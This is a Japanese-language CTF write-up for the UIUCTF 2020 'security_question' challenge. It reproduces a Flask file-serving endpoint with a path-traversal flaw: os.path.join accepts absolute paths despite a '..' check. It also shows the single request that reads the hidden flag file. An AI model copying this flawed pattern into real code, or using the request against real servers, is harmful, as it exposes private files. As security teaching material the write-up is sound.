CTFtime.org / UIUCTF 2020 / security_question
Someone just asked a very interesting question online. Can you help them solve their problem?
https://security.chal.uiuc.tf/
author: Husincostan

Stack Overflowの嘘サイトが出てくる。
質問文にあるソースコードには/getpoemエンドポイントが提示されているので、アクセスするとコードにあった応答が帰ってくる。
@app.route('/getpoem')
def get_poem():
poemname = request.args.get('name')
if not poemname:
return 'Please send a name query:\n' + str(os.listdir('poems')), 404
poemdir = os.path.join(os.getcwd(), 'poems')
poempath = os.path.join(poemdir, poemname)
if '..' in poemname:
return 'Illegal substring detected.', 403
if not os.path.exists(poempath):
return 'File not found.', 404
return send_file(poempath)
/getpoemにアクセスするとPlease send a name query: ['rise.txt', 'daddy.txt', 'tyger.txt', 'road.txt']と来る。
/getpoem?name=rise.txtにアクセスすると、ファイルの中身が得られる。
問題文には/hidden_poem.txtにアクセスして情報を抜き取るよう指令が書いてある。
なぜか取れてしまう
特に何も考えずに、/getpoem?name=/hidden_poem.txtにアクセスするとフラグが出てくる。
なぜだろうか。
os.path.join is weird in python3
python3のjoinはこんな挙動をする。
>>> import os >>> print(os.path.join('/home', 'flag.txt')) /home/flag.txt >>> print(os.path.join('/home', '/flag.txt')) /flag.txt
冷静になって考えると、まあ、そうかという感じがする。
ルートパスに対して、相対パス指定と絶対パス指定をすると、結果はそうなるか。